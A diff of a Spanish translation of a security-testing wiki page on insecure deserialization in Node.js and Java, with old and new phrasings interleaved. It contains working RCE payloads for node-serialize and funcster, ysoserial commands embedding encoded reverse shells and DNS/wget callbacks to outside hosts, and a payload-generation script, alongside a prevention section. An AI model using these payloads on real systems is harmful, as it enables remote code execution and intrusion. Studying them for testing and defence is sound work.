Si quieres aprender sobre esta técnica, **echa un vistazo al siguiente tutorial**:
|
||||
Si quieres aprender sobre esta técnica **echa un vistazo al siguiente tutorial**:
|
||||
|
||||
{% content-ref url="nodejs-proto-prototype-pollution/" %}
|
||||
[nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/)
|
||||
|
@ -231,25 +232,25 @@ El **objeto serializado** se verá así:
|
|||
```bash
|
||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||||
```
|
||||
Puedes ver en el ejemplo que cuando una función es serializada, se agrega la bandera `_$$ND_FUNC$$_` al objeto serializado.
|
||||
Puedes ver en el ejemplo que cuando una función es serializada, la bandera `_$$ND_FUNC$$_` se añade al objeto serializado.
|
||||
|
||||
Dentro del archivo `node-serialize/lib/serialize.js`, puedes encontrar la misma bandera y cómo se utiliza en el código.
|
||||
Dentro del archivo `node-serialize/lib/serialize.js` puedes encontrar la misma bandera y cómo el código la está utilizando.
|
||||
|
||||
![](<../../.gitbook/assets/image (297).png>)
|
||||
|
||||
![](<../../.gitbook/assets/image (298).png>)
|
||||
|
||||
Como puedes ver en el último fragmento de código, si se encuentra la bandera, se utiliza `eval` para deserializar la función, por lo que básicamente se está utilizando la entrada del usuario dentro de la función `eval`.
|
||||
Como puedes ver en el último fragmento de código, **si se encuentra la bandera** `eval` se utiliza para deserializar la función, así que básicamente **la entrada del usuario está siendo utilizada dentro de la función `eval`**.
|
||||
|
||||
Sin embargo, simplemente serializar una función no la ejecutará, ya que sería necesario que alguna parte del código esté llamando a `y.rce` en nuestro ejemplo, lo cual es muy poco probable.\
|
||||
De todos modos, podrías modificar el objeto serializado agregando algunos paréntesis para que la función serializada se ejecute automáticamente cuando se deserialice el objeto.\
|
||||
En el siguiente fragmento de código, observa el último paréntesis y cómo la función `unserialize` ejecutará automáticamente el código:
|
||||
Sin embargo, **solo serializar** una función **no la ejecutará** ya que sería necesario que alguna parte del código esté **llamando a `y.rce`** en nuestro ejemplo y eso es altamente **improbable**.\
|
||||
De todos modos, podrías simplemente **modificar el objeto serializado** **añadiendo algunos paréntesis** para auto ejecutar la función serializada cuando el objeto es deserializado.\
|
||||
En el siguiente fragmento de código **observa el último paréntesis** y cómo la función `unserialize` ejecutará automáticamente el código:
|
||||
```javascript
|
||||
var serialize = require('node-serialize');
|
||||
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
|
||||
serialize.unserialize(test);
|
||||
```
|
||||
Como se indicó anteriormente, esta biblioteca obtendrá el código después de `_$$ND_FUNC$$_` y lo **ejecutará** utilizando `eval`. Por lo tanto, para **auto-ejecutar código**, puedes **eliminar la parte de creación de la función** y el último paréntesis y **simplemente ejecutar un comando de JavaScript en una sola línea** como en el siguiente ejemplo:
|
||||
Como se indicó anteriormente, esta biblioteca obtendrá el código después de `_$$ND_FUNC$$_` y lo **ejecutará** usando `eval`. Por lo tanto, para **auto-ejecutar código** puedes **eliminar la parte de creación de la función** y el último paréntesis y **solo ejecutar un JS oneliner** como en el siguiente ejemplo:
|
||||
```javascript
|
||||
var serialize = require('node-serialize');
|
||||
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
|
||||
|
@ -259,9 +260,9 @@ Puedes [**encontrar aquí**](https://opsecx.com/index.php/2017/02/08/exploiting-
|
|||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
La diferencia interesante aquí es que los **objetos integrados estándar no son accesibles**, porque están fuera de alcance. Esto significa que podemos ejecutar nuestro código, pero no podemos llamar a los métodos de los objetos integrados. Entonces, si usamos `console.log()` o `require(something)`, Node devuelve una excepción como `"ReferenceError: console is not defined"`.
|
||||
La diferencia interesante aquí es que los **objetos incorporados estándar no son accesibles**, porque están fuera de alcance. Significa que podemos ejecutar nuestro código, pero no podemos llamar a los métodos de los objetos incorporados. Entonces, si usamos `console.log()` o `require(algo)`, Node devuelve una excepción como `"ReferenceError: console is not defined"`.
|
||||
|
||||
Sin embargo, podemos recuperar fácilmente el acceso a todo porque aún tenemos acceso al contexto global usando algo como `this.constructor.constructor("console.log(1111)")();`:
|
||||
Sin embargo, podemos recuperar fácilmente el acceso a todo porque todavía tenemos acceso al contexto global usando algo como `this.constructor.constructor("console.log(1111)")();`:
|
||||
```javascript
|
||||
funcster = require("funcster");
|
||||
//Serialization
|
||||
|
@ -276,7 +277,7 @@ funcster.deepDeserialize(desertest2)
|
|||
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
|
||||
funcster.deepDeserialize(desertest3)
|
||||
```
|
||||
**Para obtener más información, lee esta página**.
|
||||
**Para** [**más información, lee esta página**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
|
@ -306,76 +307,76 @@ En las siguientes páginas puedes encontrar información sobre cómo abusar de e
|
|||
|
||||
## Java - HTTP
|
||||
|
||||
El principal problema con los objetos deserializados en Java es que **se invocaron devoluciones de llamada de deserialización durante la deserialización**. Esto permite que un **atacante** se **aproveche de esas devoluciones de llamada** y prepare un payload que abuse de las devoluciones de llamada para **realizar acciones maliciosas**.
|
||||
El principal problema con los objetos deserializados en Java es que **se invocaban callbacks de deserialización durante la deserialización**. Esto hace posible que un **atacante** pueda **aprovechar esos callbacks** y preparar un payload que abusa de los callbacks para **realizar acciones maliciosas**.
|
||||
|
||||
### Huellas
|
||||
### Huellas Digitales
|
||||
|
||||
#### Caja Blanca
|
||||
|
||||
Busca en el código las clases y funciones de serialización. Por ejemplo, busca clases que implementen `Serializable`, el uso de `java.io.ObjectInputStream` \_\_ o las funciones `readObject` \_\_ o `readUnshare`\_.
|
||||
Busca dentro del código clases y funciones de serialización. Por ejemplo, busca clases que implementen `Serializable`, el uso de `java.io.ObjectInputStream` \_\_ o funciones `readObject` \_\_ o `readUnshare`\_.
|
||||
|
||||
También debes prestar atención a:
|
||||
También debes estar atento a:
|
||||
|
||||
* `XMLdecoder` con parámetros definidos por el usuario externo
|
||||
* `XStream` con el método `fromXML` (la versión xstream <= v1.46 es vulnerable al problema de serialización)
|
||||
* `XStream` con el método `fromXML` (la versión de xstream <= v1.46 es vulnerable al problema de serialización)
|
||||
* `ObjectInputStream` con `readObject`
|
||||
* Uso de `readObject`, `readObjectNodData`, `readResolve` o `readExternal`
|
||||
* Usos de `readObject`, `readObjectNodData`, `readResolve` o `readExternal`
|
||||
* `ObjectInputStream.readUnshared`
|
||||
* `Serializable`
|
||||
|
||||
#### Caja Negra
|
||||
|
||||
**Huellas/Bytes Mágicos** de objetos **serializados de Java** (de `ObjectInputStream`):
|
||||
**Huellas Digitales/Bytes Mágicos** de objetos **serializados en java** (de `ObjectInputStream`):
|
||||
|
||||
* `AC ED 00 05` en Hexadecimal
|
||||
* `AC ED 00 05` en Hex
|
||||
* `rO0` en Base64
|
||||
* Encabezado `Content-type` de una respuesta HTTP establecido en `application/x-java-serialized-object`
|
||||
* `1F 8B 08 00` Hexadecimal previamente comprimido
|
||||
* Encabezado `Content-type` de una respuesta HTTP configurado como `application/x-java-serialized-object`
|
||||
* `1F 8B 08 00` Hex previamente comprimido
|
||||
* `H4sIA` Base64 previamente comprimido
|
||||
* Archivos web con extensión `.faces` y parámetro `faces.ViewState`. Si encuentras esto en una aplicación web, echa un vistazo al [**post sobre la deserialización de Java JSF VewState**](java-jsf-viewstate-.faces-deserialization.md).
|
||||
* Archivos web con extensión `.faces` y parámetro `faces.ViewState`. Si encuentras esto en una webapp, echa un vistazo al [**post sobre Deserialización de Java JSF ViewState**](java-jsf-viewstate-.faces-deserialization.md).
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
### Verificar si es vulnerable
|
||||
|
||||
Si quieres **aprender cómo funciona una explotación de deserialización en Java**, deberías echar un vistazo a [**Deserialización básica en Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialización de DNS en Java**](java-dns-deserialization-and-gadgetprobe.md) y [**Carga útil de CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
||||
Si quieres **aprender cómo funciona un exploit de Deserialización en Java** deberías echar un vistazo a [**Deserialización Básica en Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialización DNS en Java**](java-dns-deserialization-and-gadgetprobe.md), y [**Carga útil CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
||||
|
||||
#### Prueba de caja blanca
|
||||
#### Prueba de Caja Blanca
|
||||
|
||||
Puedes verificar si está instalada alguna aplicación con vulnerabilidades conocidas.
|
||||
Puedes verificar si hay alguna aplicación instalada con vulnerabilidades conocidas.
|
||||
```bash
|
||||
find . -iname "*commons*collection*"
|
||||
grep -R InvokeTransformer .
|
||||
```
|
||||
Puedes intentar **verificar todas las bibliotecas** conocidas por ser vulnerables y para las cuales [**Ysoserial**](https://github.com/frohoff/ysoserial) puede proporcionar un exploit. O puedes verificar las bibliotecas indicadas en [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
Podrías intentar **verificar todas las bibliotecas** conocidas por ser vulnerables y para las que [**Ysoserial**](https://github.com/frohoff/ysoserial) puede proporcionar un exploit. O podrías verificar las bibliotecas indicadas en [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
También puedes usar [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) para buscar posibles cadenas de gadgets que se puedan explotar.\
|
||||
Cuando ejecutes **gadgetinspector** (después de compilarlo), no te preocupes por las toneladas de advertencias/errores que aparecen y déjalo terminar. Escribirá todos los hallazgos en _gadgetinspector/gadget-results/gadget-chains-año-mes-día-hora-min.txt_. Ten en cuenta que **gadgetinspector no creará un exploit y puede indicar falsos positivos**.
|
||||
Cuando ejecutes **gadgetinspector** (después de construirlo) no te preocupes por la gran cantidad de advertencias/errores por los que está pasando y déjalo terminar. Escribirá todos los hallazgos en _gadgetinspector/gadget-results/gadget-chains-año-mes-día-hora-min.txt_. Por favor, ten en cuenta que **gadgetinspector no creará un exploit y puede indicar falsos positivos**.
|
||||
|
||||
#### Prueba de Caja Negra
|
||||
|
||||
Usando la extensión de Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), puedes identificar **qué bibliotecas están disponibles** (e incluso las versiones). Con esta información, podría ser **más fácil elegir un payload** para explotar la vulnerabilidad.\
|
||||
[**Lee esto para obtener más información sobre GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe se centra en las deserializaciones de \*\* `ObjectInputStream` \*\*.\*\*
|
||||
Usando la extensión de Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) puedes identificar **qué bibliotecas están disponibles** (e incluso las versiones). Con esta información podría ser **más fácil elegir un payload** para explotar la vulnerabilidad.\
|
||||
[**Lee esto para aprender más sobre GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe se enfoca en deserializaciones de \*\* `ObjectInputStream` \*\*.\*\*
|
||||
|
||||
Usando la extensión de Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner), puedes **identificar bibliotecas vulnerables** explotables con ysoserial y **explotarlas**.\
|
||||
[**Lee esto para obtener más información sobre Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner se centra en las deserializaciones de **`ObjectInputStream`**.
|
||||
Usando la extensión de Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) puedes **identificar bibliotecas vulnerables** explotables con ysoserial y **explotarlas**.\
|
||||
[**Lee esto para aprender más sobre Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner se enfoca en deserializaciones de **`ObjectInputStream`**.
|
||||
|
||||
También puedes usar [**Freddy**](https://github.com/nccgroup/freddy) para **detectar vulnerabilidades** de deserialización en **Burp**. Este complemento detectará vulnerabilidades relacionadas no solo con `ObjectInputStream`, sino también con bibliotecas de deserialización de **Json** y **Yml**. En modo activo, intentará confirmarlas utilizando payloads de sleep o DNS.\
|
||||
También puedes usar [**Freddy**](https://github.com/nccgroup/freddy) para **detectar vulnerabilidades de deserialización** en **Burp**. Este plugin detectará vulnerabilidades relacionadas no solo con \*\*`ObjectInputStream`\*\* sino **también** con bibliotecas de deserialización de **Json** y **Yml**. En modo activo, intentará confirmarlas usando cargas útiles de sleep o DNS.\
|
||||
[**Puedes encontrar más información sobre Freddy aquí.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**Prueba de Serialización**
|
||||
|
||||
No todo se trata de verificar si el servidor utiliza alguna biblioteca vulnerable. A veces puedes ser capaz de **cambiar los datos dentro del objeto serializado y evadir algunas comprobaciones** (quizás otorgarte privilegios de administrador dentro de una aplicación web).\
|
||||
Si encuentras un objeto serializado de Java que se envía a una aplicación web, **puedes usar** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **para imprimir en un formato más legible para los humanos el objeto de serialización que se envía**. Saber qué datos estás enviando facilitaría modificarlos y evadir algunas comprobaciones.
|
||||
No todo se trata de verificar si el servidor utiliza alguna biblioteca vulnerable. A veces podrías ser capaz de **cambiar los datos dentro del objeto serializado y eludir algunos controles** (quizás otorgarte privilegios de administrador dentro de una aplicación web).\
|
||||
Si encuentras un objeto serializado de Java que se envía a una aplicación web, **puedes usar** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **para imprimir en un formato más legible para humanos el objeto de serialización que se envía**. Saber qué datos estás enviando sería más fácil para modificarlos y eludir algunos controles.
|
||||
|
||||
### **Exploit**
|
||||
### **Explotar**
|
||||
|
||||
#### **ysoserial**
|
||||
|
||||
La herramienta más conocida para explotar deserializaciones de Java es [**ysoserial**](https://github.com/frohoff/ysoserial) ([**descargar aquí**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). También puedes considerar usar [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), que te permitirá usar comandos complejos (con tuberías, por ejemplo).\
|
||||
Ten en cuenta que esta herramienta está **centrada** en explotar **`ObjectInputStream`**.\
|
||||
Yo **comenzaría usando el payload "URLDNS"** antes que un payload de RCE para probar si la inyección es posible. De todos modos, ten en cuenta que tal vez el payload "URLDNS" no funcione, pero otro payload de RCE sí lo haga.
|
||||
La herramienta más conocida para explotar deserializaciones de Java es [**ysoserial**](https://github.com/frohoff/ysoserial) ([**descargar aquí**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). También puedes considerar usar [**ysoserial-modificado**](https://github.com/pimps/ysoserial-modified) que te permitirá usar comandos complejos (con tuberías, por ejemplo).\
|
||||
Ten en cuenta que esta herramienta está **enfocada** en explotar **`ObjectInputStream`**.\
|
||||
Yo **empezaría usando el payload "URLDNS"** **antes de un payload RCE** para probar si la inyección es posible. De todos modos, ten en cuenta que tal vez el payload "URLDNS" no funcione pero otro payload RCE sí.
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||||
|
@ -416,12 +417,13 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkoc
|
|||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
|
||||
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
||||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
|
||||
# Codificar la carga útil en base64
|
||||
|
||||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
Al crear un payload para **java.lang.Runtime.exec()**, **no puedes usar caracteres especiales** como ">" o "|" para redirigir la salida de una ejecución, "$()" para ejecutar comandos o incluso **pasar argumentos** a un comando separados por **espacios** (puedes hacer `echo -n "hello world"` pero no puedes hacer `python2 -c 'print "Hello world"'`). Para codificar correctamente el payload, puedes [utilizar esta página web](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
Al crear un payload para **java.lang.Runtime.exec()** **no puedes usar caracteres especiales** como ">" o "|" para redirigir la salida de una ejecución, "$()" para ejecutar comandos o incluso **pasar argumentos** a un comando separados por **espacios** (puedes hacer `echo -n "hello world"` pero no puedes hacer `python2 -c 'print "Hello world"'`). Para codificar correctamente el payload podrías [usar esta página web](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
|
||||
Siéntete libre de utilizar el siguiente script para crear **todos los posibles payloads de ejecución de código** para Windows y Linux, y luego probarlos en la página web vulnerable:
|
||||
Siéntete libre de usar el siguiente script para crear **todos los posibles payloads de ejecución de código** para Windows y Linux y luego probarlos en la página web vulnerable:
|
||||
```python
|
||||
import os
|
||||
import base64
|
||||
|
@ -444,12 +446,12 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
|||
```
|
||||
#### serialkillerbypassgadgets
|
||||
|
||||
Puedes **utilizar** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **junto con ysoserial para crear más exploits**. Más información sobre esta herramienta en las **diapositivas de la charla** donde se presentó la herramienta: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
|
||||
Puedes **usar** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **junto con ysoserial para crear más exploits**. Más información sobre esta herramienta en las **diapositivas de la charla** donde se presentó la herramienta: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
|
||||
|
||||
#### marshalsec
|
||||
|
||||
[**marshalsec**](https://github.com/mbechler/marshalsec) se puede utilizar para generar payloads y explotar diferentes bibliotecas de serialización **Json** y **Yml** en Java.\
|
||||
Para compilar el proyecto, necesité **agregar** estas **dependencias** al archivo `pom.xml`:
|
||||
[**marshalsec**](https://github.com/mbechler/marshalsec) se puede utilizar para generar payloads para explotar diferentes bibliotecas de serialización **Json** y **Yml** en Java.\
|
||||
Para compilar el proyecto necesité **añadir** estas **dependencias** al `pom.xml`:
|
||||
```markup
|
||||
<dependency>
|
||||
<groupId>javax.activation</groupId>
|
||||
|
@ -464,42 +466,42 @@ Para compilar el proyecto, necesité **agregar** estas **dependencias** al archi
|
|||
<type>pom</type>
|
||||
</dependency>
|
||||
```
|
||||
**Instala Maven** y **compila** el proyecto:
|
||||
**Instala maven** y **compila** el proyecto:
|
||||
```bash
|
||||
sudo apt-get install maven
|
||||
mvn clean package -DskipTests
|
||||
```
|
||||
#### FastJSON
|
||||
|
||||
Lee más sobre esta biblioteca de JSON en Java: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||||
Lea más sobre esta biblioteca JSON de Java: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||||
|
||||
### Laboratorios
|
||||
|
||||
* Si quieres probar algunos payloads de ysoserial, puedes **ejecutar esta aplicación web**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
* Si desea probar algunos payloads de ysoserial, puede **ejecutar esta aplicación web**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
* [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||||
|
||||
### Por qué
|
||||
|
||||
Java AMA enviar objetos serializados por todas partes. Por ejemplo:
|
||||
Java ADORA enviar objetos serializados por todos lados. Por ejemplo:
|
||||
|
||||
* En **solicitudes HTTP** - Parámetros, ViewState, Cookies, lo que sea.
|
||||
* **RMI** - El protocolo Java RMI ampliamente utilizado se basa al 100% en la serialización.
|
||||
* **RMI sobre HTTP** - Muchas aplicaciones web de cliente grueso en Java utilizan esto, nuevamente objetos serializados al 100%.
|
||||
* **JMX** - Nuevamente, se basa en el envío de objetos serializados a través de la red.
|
||||
* **Protocolos personalizados** - Enviar y recibir objetos Java sin procesar es la norma, como veremos en algunos de los exploits que vendrán.
|
||||
* En **solicitudes HTTP** – Parámetros, ViewState, Cookies, lo que sea.
|
||||
* **RMI** – El protocolo RMI de Java, ampliamente utilizado, se basa 100% en la serialización.
|
||||
* **RMI sobre HTTP** – Muchas aplicaciones web de cliente grueso de Java utilizan esto – de nuevo, 100% objetos serializados.
|
||||
* **JMX** – De nuevo, depende de objetos serializados enviados a través de la red.
|
||||
* **Protocolos personalizados** – Enviar y recibir objetos Java crudos es la norma – lo que veremos en algunos de los exploits que vienen.
|
||||
|
||||
### Prevención
|
||||
|
||||
#### Objetos transitorios
|
||||
|
||||
Una clase que implementa `Serializable` puede marcar como `transient` cualquier objeto dentro de la clase que no deba ser serializable. Por ejemplo:
|
||||
Una clase que implementa `Serializable` puede marcar como `transient` cualquier objeto dentro de la clase que no debería ser serializable. Por ejemplo:
|
||||
```java
|
||||
public class myAccount implements Serializable
|
||||
{
|
||||
private transient double profit; // declared transient
|
||||
private transient double margin; // declared transient
|
||||
```
|
||||
#### Evitar la serialización de una clase que necesita implementar Serializable
|
||||
#### Evitar la Serialización de una clase que necesita implementar Serializable
|
||||
|
||||
Algunos de los objetos de tu aplicación pueden verse obligados a implementar `Serializable` debido a su jerarquía. Para garantizar que tus objetos de aplicación no puedan ser deserializados, se debe declarar un método `readObject()` (con un modificador `final`) que siempre lance una excepción:
|
||||
```java
|
||||
|
@ -509,16 +511,16 @@ throw new java.io.IOException("Cannot be deserialized");
|
|||
```
|
||||
#### Verificar la clase deserializada antes de deserializarla
|
||||
|
||||
La clase `java.io.ObjectInputStream` se utiliza para deserializar objetos. Es posible fortalecer su comportamiento mediante la creación de una subclase. Esta es la mejor solución si:
|
||||
La clase `java.io.ObjectInputStream` se utiliza para deserializar objetos. Es posible endurecer su comportamiento mediante la creación de subclases. Esta es la mejor solución si:
|
||||
|
||||
* Puedes cambiar el código que realiza la deserialización
|
||||
* Sabes qué clases esperas deserializar
|
||||
|
||||
La idea general es sobrescribir [`ObjectInputStream.html#resolveClass()`](https://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass\(java.io.ObjectStreamClass\)) para restringir qué clases se permiten deserializar.
|
||||
La idea general es sobrescribir [`ObjectInputStream.html#resolveClass()`](https://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass\(java.io.ObjectStreamClass\)) para restringir qué clases están permitidas para ser deserializadas.
|
||||
|
||||
Dado que esta llamada ocurre antes de que se llame a `readObject()`, puedes estar seguro de que no ocurrirá ninguna actividad de deserialización a menos que sea del tipo que deseas permitir.
|
||||
Dado que esta llamada ocurre antes de que se llame a `readObject()`, puedes estar seguro de que no ocurrirá ninguna actividad de deserialización a menos que el tipo sea uno que desees permitir.
|
||||
|
||||
Un ejemplo simple se muestra aquí, donde la clase `LookAheadObjectInputStream` está garantizada para no deserializar ningún otro tipo aparte de la clase `Bicycle`:
|
||||
Un ejemplo sencillo de esto se muestra aquí, donde la clase `LookAheadObjectInputStream` está garantizada de no deserializar ningún otro tipo además de la clase `Bicycle`:
|
||||
```java
|
||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||
|
||||
|
@ -538,39 +540,41 @@ return super.resolveClass(desc);
|
|||
}
|
||||
}
|
||||
```
|
||||
**Fortalecer el uso de java.io.ObjectInputStream con un Agente**
|
||||
**Endurecer todo el uso de java.io.ObjectInputStream con un Agente**
|
||||
|
||||
Si no eres el propietario del código o no puedes esperar a un parche, utilizar un agente para incorporar fortalecimiento a `java.io.ObjectInputStream` es la mejor solución.\
|
||||
Utilizando este enfoque, solo puedes incluir en la lista negra los tipos maliciosos conocidos y no incluirlos en la lista blanca, ya que no sabes qué objetos se están serializando.
|
||||
Si no posees el código o no puedes esperar a un parche, utilizar un agente para incorporar endurecimiento a `java.io.ObjectInputStream` es la mejor solución.\
|
||||
Utilizando este enfoque, solo puedes poner en la lista negra los tipos maliciosos conocidos y no incluirlos en una lista blanca, ya que no sabes qué objetos están siendo serializados.
|
||||
|
||||
Para habilitar estos agentes, simplemente agrega un nuevo parámetro JVM:
|
||||
Para habilitar estos agentes, simplemente añade un nuevo parámetro JVM:
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
Ejemplo: [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||
|
||||
### Referencias
|
||||
|
||||
* Charla sobre deserialización y ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
* [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||||
* [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||||
* Charla sobre gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) y diapositivas: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
* Documento de Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
* Documento sobre Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
* [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||
* Documento sobre deserialización en Java y .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** charla: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
* CVEs de deserialización: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
